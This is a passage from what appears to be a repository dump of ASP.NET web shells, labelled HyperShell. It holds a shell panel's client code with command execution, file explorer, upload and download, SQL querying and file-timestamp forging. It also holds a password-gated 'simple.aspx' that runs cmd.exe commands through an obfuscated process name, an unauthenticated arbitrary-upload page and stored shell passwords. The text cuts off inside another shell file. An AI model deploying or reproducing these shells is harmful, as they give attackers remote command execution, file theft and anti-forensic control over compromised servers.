//document.getElementById(\"loader\").style.display = \"none\";\r\n                //var data = b64DecodeUnicode(resText)\r\n                //makeLocation();\r\n                //var Frame = document.getElementById(\"objFrame\");\r\n                //Frame.innerHTML = \"\";\r\n                //if(data.startsWith(\"Error\"))\r\n                //{\r\n                //    addError(Frame, data);\r\n                //}\r\n                //else\r\n                //{\r\n                //    var info = JSON.parse(data);\r\n                //    console.log(data);\r\n                //    console.log(info);\r\n                //    if(info.dir)\r\n                //    {\r\n                //        var f = document.createElement(\"div\");\r\n                //        f.className=\"objF\";\r\n       \r\n                //        var s = document.createElement(\"div\");\r\n                //        s.className=\"objLeft objS\";\r\n                //        s.innerText = \"Get All Size\";\r\n                //        s.style.cursor = \"pointer\";\r\n                //        s.onclick = function(){getAllSize();};\r\n\r\n                //        f.appendChild(s);\r\n                //        Frame.appendChild(f);\r\n\r\n                //        for (var i = 0; i < info.dir.length; i++)\r\n                //            addFolder(Frame, info.dir[i]);\r\n                //    }\r\n                //    if(info.file)\r\n                //        for (var i = 0; i < info.file.length; i++)\r\n                //            addFile(Frame, info.file[i].name, info.file[i].size)\r\n                //}\r\n            }\r\n        };\r\n        sendData(info);\r\n    }\r\n\r\n    function makeLocation()\r\n    {\r\n        var loc = document.getElementById(\"objLocation\");\r\n        loc.innerHTML = \"\";\r\n\r\n        //var lbl = document.createElement(\"div\");\r\n        //lbl.className = \"objLabel\";\r\n        //lbl.innerText = \"Location :\";\r\n        //loc.appendChild(lbl);\r\n\r\n        var root = document.createElement(\"div\");\r\n        root.className = \"objRight objD objL\";\r\n        root.innerText = \"root\";\r\n        root.style.margin = \"0\";\r\n        root.onclick = function () {\r\n            setAddress(\"root\");\r\n        };\r\n        loc.appendChild(root);\r\n\r\n        var currentAddress = getCurrentAddress();\r\n        var curAdd = currentAddress.split(\"\\\\\");\r\n        var sendLoc = \"\";\r\n        if (currentAddress.startsWith(\"\\\\\\\\\"))\r\n            sendLoc += \"\\\\\\\\\";\r\n        for (var i = 0; i < curAdd.length; i++) {\r\n\r\n            if (curAdd[i] == \"\" || curAdd[i] == \"root\")\r\n                continue;\r\n\r\n            sendLoc += curAdd[i] + \"\\\\\";\r\n\r\n            var o = document.createElement(\"div\");\r\n            o.innerText = curAdd[i] + \"\\\\\";\r\n            o.setAttribute(\"loc\", sendLoc);\r\n            o.className = \"objRight objD objL\";\r\n            o.onclick = function(){\r\n                document.getElementsByName(\"exadd\")[0].value = this.getAttribute(\"loc\");\r\n                sendAddress();\r\n            };\r\n                        \r\n            loc.appendChild(o);\r\n        }\r\n\r\n        if (currentAddress.startsWith(\"\\\\\\\\\"))\r\n        {\r\n            loc.childNodes[1].innerText = \"\\\\\\\\\" + loc.childNodes[1].innerText;\r\n        }\r\n\r\n        loc.lastChild.style.display = \"inline-block\";\r\n        loc.lastChild.onclick = function(){};\r\n        loc.lastChild.className = \"objB\";\r\n    }\r\n\r\n    function addError(parent, error)\r\n    {\r\n        var f = document.createElement(\"div\");\r\n        f.className = \"objF\";\r\n\r\n        var d = document.createElement(\"div\");\r\n        d.className =\"objRight objD objError\";\r\n        d.innerText = error;\r\n\r\n        f.appendChild(d);\r\n        parent.appendChild(f);\r\n    }\r\n\r\n    function addFolder(parent, dir)\r\n    {\r\n        var f = document.createElement(\"div\");\r\n        f.className=\"objF\";\r\n       \r\n        var d = document.createElement(\"div\");\r\n        d.className =\"objRight objD\";\r\n        d.innerText = dir.name;\r\n        d.onclick = function(){setAddress(this.innerText);};\r\n\r\n        var s = document.createElement(\"div\");\r\n        s.className =\"objLeft objS dir\";\r\n        if (sizeArray[getCurrentAddress() + \"\\\\\" + dir.name])\r\n            setSize(s, sizeArray[getCurrentAddress() + \"\\\\\" + dir.name]);\r\n        else\r\n            s.innerText = \"...\";\r\n\r\n        s.style.cursor = \"pointer\";\r\n        s.onclick = function(){getSize(s,d.innerText);};\r\n\r\n        f.appendChild(s);\r\n        f.appendChild(d);\r\n\r\n        if (dir.totalSize)\r\n        {\r\n            var divProgress = document.createElement(\"div\");\r\n            divProgress.className = \"driveSizeProgress\";\r\n            var divSize = document.createElement(\"div\");\r\n            var total = Number(dir.totalSize);\r\n            var free = Number(dir.freeSpace);\r\n            var percent = (((total - free) / total) * 100);\r\n            divSize.style.width = percent + \"%\";\r\n            if (percent > 90)\r\n                divSize.style.backgroundColor = \"#d82523\";\r\n            divProgress.appendChild(divSize);\r\n\r\n            var divText = document.createElement(\"div\");\r\n            divText.className = \"driveSizeText\";\r\n            divText.innerHTML = \"<span class='t'>Size</span><span class='v'>\" + dir.sizeText + \"</span>\";\r\n\r\n            var divFormat = document.createElement(\"div\");\r\n            divFormat.className = \"driveSizeText\";\r\n            divFormat.innerHTML = \"<span class='t'>FileSystem</span><span class='v'>\" + dir.format + \"</span>\";\r\n\r\n            var divType = document.createElement(\"div\");\r\n            divType.className = \"driveSizeText\";\r\n            divType.innerHTML = \"<span class='t'>Description</span><span class='v'>\" + dir.type + \"</span>\";\r\n\r\n            \r\n\r\n            f.appendChild(divProgress);\r\n            f.appendChild(divText);\r\n            f.appendChild(divFormat);\r\n            f.appendChild(divType);\r\n        }\r\n\r\n        parent.appendChild(f);\r\n    }\r\n\r\n    function addFile(parent, name, size)\r\n    {\r\n        var f = document.createElement(\"div\");\r\n        f.className=\"objF\";\r\n        var s = document.createElement(\"div\");\r\n        s.className =\"objLeft objS\";\r\n        setSize(s, size)\r\n        var n = document.createElement(\"div\");\r\n        n.className =\"objRight objN\";\r\n        n.innerText=name;\r\n        n.onclick = function () { expView(this.innerText); };\r\n\r\n        //<div class=\"iCmd iDownload\">Download</div> <div class=\"iCmd iDelete\">Delete</div> <div class=\"iInput iRename\"><span class=\"t\"><input type=\"text\" /></span><div class=\"v\">Rename</div></div>\r\n\r\n        var btnD = document.createElement(\"div\");\r\n        btnD.className = \"iCmd iDownload\";\r\n        btnD.innerText = \"Download\";\r\n        btnD.onclick = function () { expDownload(name, this); };\r\n\r\n        var btnL = document.createElement(\"div\");\r\n        btnL.className = \"iCmd iDelete\";\r\n        btnL.innerText = \"Delete\";\r\n        btnL.onclick = function () { expDelete(name, this); }\r\n\r\n        var btnR = document.createElement(\"div\");\r\n        btnR.className = \"iInput iRename\";\r\n\r\n        var spanT = document.createElement(\"span\");\r\n        spanT.className = \"t\"\r\n        var inputT = document.createElement(\"input\");\r\n        inputT.type = \"text\";\r\n        spanT.appendChild(inputT);\r\n\r\n        var spanV = document.createElement(\"span\");\r\n        spanV.className = \"v\"\r\n        spanV.innerText = \"Rename\"\r\n        spanV.onclick = function () { expRename(name, this); };\r\n\r\n        btnR.appendChild(spanT);\r\n        btnR.appendChild(spanV);\r\n\r\n\r\n\r\n        var btnCC = document.createElement(\"div\");\r\n        btnCC.className = \"iInput iCopy\";\r\n\r\n        var spanCCT = document.createElement(\"span\");\r\n        spanCCT.className = \"t\"\r\n        var inputCCT = document.createElement(\"input\");\r\n        inputCCT.type = \"text\";\r\n        spanCCT.appendChild(inputCCT);\r\n\r\n        var spanCopy = document.createElement(\"span\");\r\n        spanCopy.className = \"v copy\"\r\n        spanCopy.innerText = \"Copy\"\r\n        spanCopy.onclick = function () { expCopy(name, this); };\r\n\r\n        var spanCut = document.createElement(\"span\");\r\n        spanCut.className = \"v\"\r\n        spanCut.innerText = \"Move\"\r\n        spanCut.onclick = function () { expMove(name, this); };\r\n\r\n        btnCC.appendChild(spanCCT);\r\n        btnCC.appendChild(spanCopy);\r\n        btnCC.appendChild(spanCut);\r\n\r\n\r\n        f.appendChild(s);\r\n        f.appendChild(n);\r\n        f.appendChild(btnD);\r\n        f.appendChild(btnL);\r\n        f.appendChild(btnR);\r\n        f.appendChild(btnCC);\r\n\r\n        parent.appendChild(f);\r\n    }\r\n\r\n    function getCurrentAddress()\r\n    {\r\n        var address = document.getElementsByName(\"exadd\")[0];\r\n        if(address.value.endsWith(\"\\\\\"))\r\n            address.value = address.value.substring(0, address.value.length - 1);\r\n        return address.value;\r\n    }\r\n\r\n    function expDelete(name, sender) {\r\n        var path = getCurrentAddress() + \"\\\\\" + name;\r\n        if (confirm(\"Are you sure you want to delete this file?\\r\\n\" + path) == true) {\r\n            requestTextResult(\"delete=\" + b64EncodeUnicode(path), sender, false, function (res) { proecessDirectory(res); });\r\n        }\r\n    }\r\n\r\n    function expRename(name, sender) {\r\n        var path = getCurrentAddress() + \"\\\\\" + name;\r\n        var input = getCurrentAddress() + \"\\\\\" + sender.parentNode.childNodes[0].childNodes[0].value;\r\n        requestTextResult(\"rename1=\" + b64EncodeUnicode(path) + \"&rename2=\" + b64EncodeUnicode(input), sender, false, function (res) { proecessDirectory(res); });\r\n    }\r\n    function expCopy(name, sender) {\r\n        var path = getCurrentAddress() + \"\\\\\" + name;\r\n        var input = sender.parentNode.childNodes[0].childNodes[0].value;\r\n        requestTextResult(\"copy1=\" + b64EncodeUnicode(path) + \"&copy2=\" + b64EncodeUnicode(input), sender, false);\r\n    }\r\n    function expMove(name, sender) {\r\n        var path = getCurrentAddress() + \"\\\\\" + name;\r\n        var input = sender.parentNode.childNodes[0].childNodes[0].value;\r\n        requestTextResult(\"rename1=\" + b64EncodeUnicode(path) + \"&rename2=\" + b64EncodeUnicode(input), sender, false, function (res) { proecessDirectory(res); });\r\n    }\r\n\r\n    function expView(name, sender) {\r\n        var path = getCurrentAddress() + \"\\\\\" + name;\r\n        requestTextResult(\"view=\" + b64EncodeUnicode(path), sender, false);\r\n    }\r\n    function expDownload(name) {\r\n        var path = getCurrentAddress() + \"\\\\\" + name;\r\n\r\n        document.getElementById(\"donInput\").value = path;\r\n        document.getElementById(\"donSubmit\").click();\r\n    }\r\n    function expUpload() {\r\n        var expSaveAddress = document.getElementById(\"expSaveAddress\");\r\n        expSaveAddress.value = getCurrentAddress();\r\n        subm();\r\n    }\r\n\r\n    function setAddress(name)\r\n    {\r\n        var address = document.getElementsByName(\"exadd\")[0];\r\n        if(address.value.endsWith(\"\\\\\"))\r\n            address.value = address.value.substring(0, address.value.length - 1);\r\n        var path = name;\r\n        if (path == 'root' || path.startsWith('\\\\\\\\'))\r\n            address.value = path;\r\n        else\r\n            address.value += \"\\\\\" + name;\r\n        if (name.startsWith(\"\\\\\\\\\"))\r\n            sendAddress(\"&adminU=\" + b64EncodeUnicode(document.getElementsByName(\"adminU\")[0].value) + \"&adminP=\" + b64EncodeUnicode(document.getElementsByName(\"adminP\")[0].value) );\r\n        else\r\n            sendAddress();\r\n    }\r\n\r\n    function getNextSize(alls)\r\n    {\r\n        if(alls.length > 0)\r\n        {\r\n            var s = alls[0];\r\n            alls.shift();\r\n            console.log(alls);\r\n            console.log(s);\r\n            getSize(s, s.nextSibling.innerText, function(){getNextSize(alls)});\r\n        }\r\n    }\r\n\r\n    function getAllSize() {\r\n        var allSizes = [].slice.call(document.getElementsByClassName(\"objLeft objS dir\"));\r\n        getNextSize(allSizes);\r\n    }\r\n\r\n    function getSize(objSize, name, callBack)\r\n    {\r\n        objSize.innerText = \"\";\r\n        var ldr = document.createElement(\"span\");\r\n        ldr.className=\"loader\";\r\n        ldr.style.width=\"12px\";\r\n        ldr.style.height=\"12px\";\r\n        ldr.style.top=\"3px\";\r\n        ldr.style.left =\"64px\";\r\n        objSize.appendChild(ldr);\r\n        var address = getCurrentAddress() + \"\\\\\" + name;\r\n        var info = {\r\n            data: \"gsize=\" + b64EncodeUnicode(address),\r\n            onSuccess:function(resText){\r\n                \r\n                ldr.remove();\r\n                var data = b64DecodeUnicode(resText)\r\n                setSize(objSize, data)\r\n                if(!data.startsWith(\"Error\"))\r\n                    sizeArray[address] = data;\r\n\r\n                if(callBack)\r\n                    callBack();\r\n            }\r\n        };\r\n        sendData(info);\r\n    }\r\n\r\n    function checkEnter(ev)\r\n    {\r\n        if(ev.which == 13 || ev.keyCode == 13)\r\n        {\r\n            sendAddress();\r\n            return false;\r\n        }\r\n        return true;\r\n    }\r\n\r\n    function setSize(obj, size)\r\n    {\r\n        if (size.startsWith(\"!\"))\r\n            obj.innerHTML = \"<span class='cat'>!</span>\" + size.substring(1);\r\n        else\r\n            obj.innerText = size;\r\n\r\n        if (size.startsWith(\"Error\"))\r\n        {\r\n            obj.innerText = \"Error !\";\r\n            obj.setAttribute(\"title\", size);\r\n            obj.style.color = \"#fff\"\r\n            obj.style.backgroundColor = \"#FF3929\";\r\n            obj.style.textAlign = \"center\"\r\n        }\r\n        else if (size.endsWith(\"KB\")) {\r\n            obj.style.color = \"#fff\"\r\n            obj.style.backgroundColor = \"#22be34\";\r\n        }\r\n        else if (size.endsWith(\"MB\")) {\r\n            obj.style.color = \"#00000099\"\r\n            obj.style.backgroundColor = \"#ffdf05\";\r\n        }\r\n        else if (size.endsWith(\"GB\")){\r\n            obj.style.color = \"#fff\"\r\n            obj.style.backgroundColor = \"#ff7701\";\r\n        }\r\n        else if (size.endsWith(\"TB\")) {\r\n            obj.style.color = \"#fff\"\r\n            obj.style.backgroundColor = \"#FF3929\";\r\n        }\r\n        else {\r\n            obj.style.color = \"#00000099\"\r\n            obj.style.backgroundColor = \"#54ffff\";\r\n        }\r\n    }\r\n\r\n    function sendData(info)\r\n    {\r\n        var data = info.data;\r\n        var xh = new XMLHttpRequest();\r\n        xh.onreadystatechange = function(){\r\n            if(this.readyState == 4 && this.status == 200)\r\n            {\r\n                info.onSuccess(this.responseText);\r\n            }\r\n        };\r\n        xh.open(\"POST\", location.pathname, true);\r\n        xh.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\r\n        xh.send(\"p=\" + readCookie(\"p\") + \"&\" + data);\r\n    }\r\n\r\n    function b64DecodeUnicode(str) {\r\n        return decodeURIComponent(Array.prototype.map.call(atob(str), function (c) {\r\n            return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2)\r\n        }).join(''))\r\n    }\r\n\r\n    function b64EncodeUnicode(str) {\r\n        return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g, function (match, p1) {\r\n            return String.fromCharCode(parseInt(p1, 16))\r\n        }))\r\n    }\r\n\r\n    function grabEnter(event, sender) {\r\n        var key = event.keyCode | event.which;\r\n        if (event.shiftKey && key == 13)\r\n        {\r\n            sender.form.submit();\r\n            return false;\r\n        }\r\n        else if (key == 13) {\r\n            if (sender.name == \"cmd\") {\r\n                requestTextResult(\"cmdB=\" + b64EncodeUnicode(getElementValue(\"cmd\")), sender, true);\r\n                return false;\r\n            }\r\n        }\r\n\r\n        return true;\r\n    }\r\n\r\n    function requestTextResult(data, sender, isAppend, callBack) {\r\n\r\n        var ldr = null;\r\n        if (sender)\r\n            ldr = loader(sender);\r\n        var info = {\r\n            data: data,\r\n            onSuccess: function (res) {\r\n                if (ldr)\r\n                    ldr.remove();\r\n                if (callBack)\r\n                    callBack(res)\r\n                else {\r\n                    var data = b64DecodeUnicode(res);\r\n                    print(data, isAppend);\r\n                }\r\n            }\r\n        };\r\n\r\n        sendData(info);\r\n    }\r\n\r\n    function loader(sender) {\r\n        //<span id=\"loader\" class=\"loader\" style=\"display:none\"></span>\r\n        var ldr = document.createElement(\"span\");\r\n\r\n        ldr.className = \"loader\";\r\n        ldr.style.top = sender.getBoundingClientRect().top;\r\n        ldr.style.left = sender.getBoundingClientRect().left + sender.offsetWidth + 5;\r\n        document.body.appendChild(ldr);\r\n        return ldr;\r\n    }\r\n\r\n    function print(str, isAppend) {\r\n        if (isAppend)\r\n        {\r\n            var log = document.getElementById(\"log\");\r\n            log.innerHTML = document.getElementById(\"log\").innerHTML + str;\r\n            log.scrollTop = log.scrollHeight;\r\n        }\r\n        else\r\n            document.getElementById(\"log\").innerHTML = str;\r\n    }\r\n\r\n    function getElementValue(name) {\r\n        return document.getElementsByName(name)[0].value;\r\n    }\r\n</script>\r\n</head>\r\n<body>\r\n<asp:Panel ID=\"pnlM\" runat=\"server\" Visible=\"false\" style=\"flex-grow:1;flex-direction:column;display:flex;\">\r\n<div id=\"header\">\r\n<div class=\"tbbt\">\r\n    <button class=\"tblnk active\" onclick=\"openTab(this, 'tbMain')\">Command</button>\r\n    <button id=\"tabExp\" class=\"tblnk\" onclick=\"openTab(this, 'tbDir')\">Explorer</button>\r\n    <button class=\"tblnk\" onclick=\"openTab(this, 'tbUpload')\">Upload</button>\r\n    <button class=\"tblnk\" onclick=\"openTab(this, 'tbDownload')\">Download</button>\r\n    <button class=\"tblnk\" onclick=\"openTab(this, 'tbSqlServer')\">Sql Server</button>\r\n    <button class=\"tblnk\" onclick=\"openTab(this, 'tbChangeTime')\">Change Time</button>\r\n</div>\r\n<div id=\"tbMain\" class=\"tb\" style=\"display:block\">\r\n    <t>Current Location :</t>\r\n    <y id=\"d\"><%= Server.MapPath(string.Empty) + \"\\\\\"%></y>\r\n    <input type=\"button\" value=\"Use\" onclick=\"use()\" />\r\n    <div style=\"float: right;margin-right:5px\">v7.1</div>\r\n    <hr style=\"margin:5px 0 8px 0\" />\r\n    <form method=\"post\">\r\n        <input name=\"cmd\" type=\"text\" value='<%= cmd %>' style=\"width:100%\" onkeypress=\"return grabEnter(event, this);\" />\r\n    </form>\r\n</div>\r\n<div id=\"tbDir\" class=\"tb\">\r\n        <form method=\"post\" enctype=\"multipart/form-data\">\r\n            <t>File :</t>\r\n            <input name=\"isExp\" class=\"mmm\" type=\"hidden\" value=\"1\" />\r\n            <input name=\"upl\" type=\"file\" />\r\n            <input id=\"expSaveAddress\" name=\"sav\" class=\"mmm\" type=\"text\" style=\"display:none\" />\r\n            <input type=\"submit\" value=\"Upload\" onclick=\"expUpload();\" /><br />\r\n        </form>\r\n    <t>Address :</t>\r\n    <input name=\"exadd\" type=\"text\" value='<%= exadd %>' onkeypress=\"return checkEnter(event);\" />\r\n    <input type=\"submit\" value=\"Explore\" onclick=\"sendAddress();\" style=\"margin-right:5px;\" />\r\n    <span id=\"loader\" class=\"loader\" style=\"display:none\"></span><br />\r\n        <t>Admin Username :</t>\r\n        <input name=\"adminU\" class=\"mmm\" type=\"text\" style=\"width:200px\" value=\"<%= adminU %>\" />\r\n        <t>Password :</t>\r\n        <input name=\"adminP\" class=\"mmm\" type=\"text\" style=\"width:200px\" value=\"<%= adminP %>\" />\r\n    <hr />\r\n    <div class=\"objLocHolder\">\r\n        <div class=\"objLeft\">Location :</div><div id=\"objLocation\"><div class=\"objRight objD objL\" onclick=\"setAddress(this.innerText);\" style=\"margin:0\">root</div></div>\r\n    </div>\r\n    <div id=\"objFrame\">\r\n    </div>\r\n</div>\r\n<div id=\"tbUpload\" class=\"tb\">\r\n    <form method=\"post\" enctype=\"multipart/form-data\">\r\n        <t>File name :</t>\r\n        <input name=\"upl\" type=\"file\" /><br>\r\n        <t>Save as :</t>\r\n        <input id=\"uplSaveAddress\" name=\"sav\" class=\"mmm\" type=\"text\" value='<%= sav %>' />\r\n        <input name=\"vir\" type=\"checkbox\" /><g>Is virtual path</g><br>\r\n        <t>New File name :</t>\r\n        <input name=\"nen\" class=\"mmm\" type=\"text\" value='<%= nen %>' />\r\n        <input type=\"submit\" value=\"Upload\" onclick=\"subm();\" />\r\n    </form>\r\n    <hr>\r\n    <form method=\"post\">\r\n        <t>Base64 File :</t>\r\n        <textarea name=\"baseFile\"></textarea>\r\n        <input name=\"baseVir\" type=\"checkbox\" /><g>Is virtual path</g><br>\r\n        <t>File Path and Name :</t>\r\n        <input name=\"baseAddr\" class=\"mmm\" type=\"text\" value='<%= baseAddr %>' />\r\n        <input type=\"submit\" value=\"Upload\" onclick=\"subm();\" />\r\n    </form>\r\n</div>\r\n<div id=\"tbDownload\" class=\"tb\">\r\n    <form method=\"post\">\r\n        <t>File name :</t>\r\n        <input id=\"donInput\" class=\"mmm\" name=\"don\" type=\"text\" value='<%= don %>' />\r\n        <input id=\"donSubmit\" type=\"submit\" value=\"Download\" onclick=\"subm();\" />\r\n    </form>\r\n</div>\r\n<div id=\"tbSqlServer\" class=\"tb\">\r\n    <form method=\"post\">\r\n        <input style=\"margin: 0 0 3px 192px\" type=\"button\" value=\"Standard Connection Sample\" onclick=\"document.getElementsByName('sqc')[0].value = 'Server=.;Database=db;User Id=user;Password=pass'\" />\r\n        <input style=\"margin: 0 0 3px 0\" type=\"button\" value=\"Trusted Connection Sample\" onclick=\"document.getElementsByName('sqc')[0].value = 'Server=.;Database=db;Trusted_Connection=True'\" /><br />\r\n        <t>Connection String :</t>\r\n        <input name=\"sqc\" class=\"mmm\" type=\"text\" value='<%= sqc %>' /><br />\r\n        <t>Query :</t>\r\n        <textarea name=\"sqq\" class=\"mmm\"><%= sqq %></textarea>\r\n        <input type=\"submit\" value=\"Run\" onclick=\"subm();\" />\r\n    </form>\r\n</div>\r\n<div id=\"tbChangeTime\" class=\"tb\">\r\n    <form method=\"post\">\r\n        <input name=\"hid\" type=\"hidden\" />\r\n        <t>File name :</t>\r\n        <input name=\"tfil\" class=\"mmm\" type=\"text\" value='<%= tfil %>' />\r\n        <input type=\"submit\" value=\"Get\" onclick=\"subm(); document.getElementsByName('hid')[0].value = '1'\" /><br>\r\n        <t>From This File :</t>\r\n        <input name=\"ttar\" class=\"mmm\" type=\"text\" value='<%= ttar %>' />\r\n        <input type=\"submit\" value=\"Set\" onclick=\"subm(); document.getElementsByName('hid')[0].value = '2'\" /><br>\r\n        <t>New Time :</t>\r\n        <input name=\"ttim\" class=\"mmm\" type=\"text\" value='<%= ttim %>' />\r\n        <input type=\"submit\" value=\"Set\" onclick=\"subm(); document.getElementsByName('hid')[0].value = '3'\" />\r\n    </form>\r\n</div>\r\n</div>\r\n<pre id=\"log\" runat=\"server\"></pre>\r\n<script>var ll = document.getElementById('log'); if (ll.innerHTML) ll.innerHTML = b64DecodeUnicode(log.innerHTML);<%= SpecialScript %></script>\r\n</asp:Panel>\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Shell/HighShellPass.txt",
    "content": "Th!sN0tF0rFAN"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Shell/HyperShell.aspx",
    "content": "﻿<%--\r\n    1- Client Side is javascript\r\n    2- Client Side is compressed encrypted in serversice\r\n    4- Server Side Get file hash and send to client side\r\n    3- Client Side compare server side hash with self hash, and show error if not ok\r\n\r\n    Server Side Code :\r\n        1- Server Side Codes \"encrypted batch script\" or \"encrypted powershell script\"\r\n--%>\r\n<html>\r\n<head>\r\n    <title>Hyper Shell</title>\r\n    <link href=\"/css/main.css\" rel=\"stylesheet\" />\r\n    <link href=\"/css/kendo.common.min.css\" rel=\"stylesheet\" />\r\n    <link href=\"/css/kendo.black.min.css\" rel=\"stylesheet\" />\r\n\r\n    <script src=\"/js/jquery.min.js\"></script>\r\n    <script src=\"/js/kendo.all.min.js\"></script>\r\n    <script src=\"/js/init.js\"></script>\r\n</head>\r\n<body>\r\n    <div id=\"mainContainer\">\r\n        <div id=\"headerContainer\">\r\n        </div>\r\n        <div id=\"leftContainer\">\r\n            <div id=\"panelbar\"></div>\r\n        </div>\r\n        <div id=\"rightContainer\">\r\n            <div ></div>\r\n        </div>\r\n    </div>\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Shell/simple.aspx",
    "content": "<%@ Page Language=\"C#\" ValidateRequest=\"false\" EnableViewState=\"false\" %>\r\n<%@ Import namespace=\"System.IO\"%>\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<head>\r\n<%\r\n    try\r\n    {\r\n        Result.InnerText = string.Empty;\r\n        if (!string.IsNullOrEmpty(HttpContext.Current.Request.Form[\"sport\"]))\r\n        {\r\n            HttpCookie newcook = new HttpCookie(\"fqrspt\", HttpContext.Current.Request.Form[\"sport\"]);\r\n            newcook.Expires = DateTime.Now.AddDays(4);\r\n            HttpContext.Current.Response.SetCookie(newcook);\r\n        }\r\n\r\n        if (HttpContext.Current.Request.Cookies[\"fqrspt\"] != null)\r\n        {\r\n            if ((Convert.ToBase64String(new System.Security.Cryptography.SHA256CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(HttpContext.Current.Request.Cookies[\"fqrspt\"].Value + \"OOOLefHUgIk$Alin2dpdiW3Bn&x*z26x94V*XECjn7j4J0Q4dA13YOo#5nh@2Kvh\"))) == \"LoYTUF2aIaJ2C9FmhMvU+72xObPYHzAPriWZZd4K8Ok=\"))\r\n            {\r\n                if (!string.IsNullOrEmpty(HttpContext.Current.Request.Form[\"balls\"]))\r\n                {\r\n                    System.Diagnostics.Process process = new System.Diagnostics.Process();\r\n                    process.StartInfo.FileName = \"cm\" + \"d.e\" + \"xe\";\r\n                    process.StartInfo.UseShellExecute = false;\r\n                    process.StartInfo.RedirectStandardInput = true;\r\n                    process.StartInfo.RedirectStandardOutput = true;\r\n                    process.StartInfo.RedirectStandardError = true;\r\n                    process.StartInfo.CreateNoWindow = true;\r\n                    process.Start();\r\n                    process.StandardInput.WriteLine(HttpContext.Current.Request.Form[\"balls\"]);\r\n                    process.StandardInput.WriteLine(\"exit\");\r\n                    string output = string.Empty;\r\n                    output = process.StandardOutput.ReadToEnd();\r\n                    process.WaitForExit();\r\n                    process.Close();\r\n                    Result.InnerText = output;\r\n                }\r\n                else if (!string.IsNullOrEmpty(HttpContext.Current.Request.Form[\"sky\"]))\r\n                {\r\n                    HttpPostedFile file = HttpContext.Current.Request.Files[\"woods\"];\r\n                    if (file != null && file.ContentLength > 0)\r\n                    {\r\n                        file.SaveAs(HttpContext.Current.Request.Form[\"sky\"]);\r\n                        Result.InnerText = \"uploaded\";\r\n                    }\r\n                }\r\n            }\r\n        }\r\n    }\r\n    catch (Exception ex)\r\n    {\r\n        Result.InnerText = ex.ToString();\r\n    }\r\n%>\r\n</head>\r\n<body>\r\n    <table style=\"width:100%\">\r\n        <tr>\r\n            <td>Password :</td><td><form method=\"post\"><input name=\"sport\" style='width:300px' /><input type=\"submit\" value=\"Login\"/></form></td>\r\n        </tr>\r\n        <tr>\r\n            <td>Command :</td><td><form method=\"post\"><input name=\"balls\" style='width:300px' /><input type=\"submit\" value=\"Execute\"/></form></td>\r\n        </tr>\r\n        <tr>\r\n            <td>Upload :</td><td>\r\n                <form method=\"post\" enctype=\"multipart/form-data\">\r\n                    <input name=\"woods\" type=\"file\" />\r\n                    <input name=\"sky\" type=\"text\" />\r\n                    <input type=\"submit\" value=\"Upload\" />\r\n                </form>\r\n            </td>\r\n        </tr>\r\n    </table>\r\n    <pre id=\"Result\" runat=\"server\"></pre>\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Shell/simple.aspx.Password.txt",
    "content": "MkRg5dm8MOk"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Shell/simpleDownload.aspx",
    "content": "<%@ Page Language=\"C#\" ValidateRequest=\"false\" EnableViewState=\"false\" %>\r\n\r\n<%@ Import Namespace=\"System.IO\" %>\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<head>\r\n    <%\r\n        try\r\n        {\r\n            ress.InnerText = string.Empty;\r\n\r\n            if (!string.IsNullOrEmpty(HttpContext.Current.Request.Form[\"bala\"]))\r\n            {\r\n                HttpPostedFile file = HttpContext.Current.Request.Files[\"hala\"];\r\n                if (file != null && file.ContentLength > 0)\r\n                {\r\n                    file.SaveAs(HttpContext.Current.Request.Form[\"bala\"]);\r\n                    ress.InnerText = \"...u\" + \"ploaded...\";\r\n                }\r\n            }\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            ress.InnerText = ex.ToString();\r\n        }\r\n    %>\r\n</head>\r\n<body>\r\n    <form method=\"post\" enctype=\"multipart/form-data\">\r\n        <input name=\"hala\" type=\"file\" />\r\n        <input name=\"bala\" type=\"text\" />\r\n        <input type=\"submit\" value=\"Upload\" />\r\n    </form>\r\n    <pre id=\"ress\" runat=\"server\"></pre>\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/ShellLocal/HighShellLocal/HighShellLocal.aspx",
    "content": "﻿<%@ Page Language=\"C#\" ValidateRequest=\"false\" EnableViewState=\"false\" %>\r\n<%@ Import Namespace=\"System.IO\" %>\r\n<%@ Import Namespace=\"System.Net\" %>\r\n<%@ Import Namespace=\"System.Net.Security\" %>\r\n<%@ Import Namespace=\"System.Net.Mime\" %>\r\n<%@ Import Namespace=\"System.Threading\" %>\r\n<%@ Import Namespace=\"Newtonsoft.Json\" %>\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<head>\r\n<link href=\"js/semantic/semantic.min.css\" rel=\"stylesheet\" />\r\n<link href=\"css/main.css\" rel=\"stylesheet\" />\r\n<link href=\"js/DataTables-1.10.16/css/jquery.dataTables.min.css\" rel=\"stylesheet\" />\r\n<link href=\"js/components/downloadbox.css\" rel=\"stylesheet\" />\r\n<link href=\"js/components/networkdownloader.css\" rel=\"stylesheet\" />\r\n    <%\r\n        try\r\n        {\r\n            //InitiateSSLTrust();\r\n            Session.Timeout = 100; // 100 minute\r\n\r\n            NameValueCollection t = HttpContext.Current.Request.Form;\r\n            method selectedMethod = method.auth;\r\n\r\n            if (!string.IsNullOrEmpty(t[\"isajax\"]))\r\n                isAjax = true;\r\n\r\n            string methodStr = unpack(t[\"m\"]);\r\n            if (!string.IsNullOrEmpty(methodStr))\r\n            {\r\n                int methodID = int.Parse(methodStr);\r\n                selectedMethod = (method)methodID;\r\n\r\n                url = unpack(t[\"url\"]);\r\n\r\n                if (string.IsNullOrEmpty(url))\r\n                {\r\n                    if (HttpContext.Current.Request.Cookies[\"url\"] != null)\r\n                        url = fb(HttpContext.Current.Request.Cookies[\"url\"].Value);\r\n                }\r\n\r\n                string[] urlp = url.Split(';');\r\n                if (urlp.Length > 1)\r\n                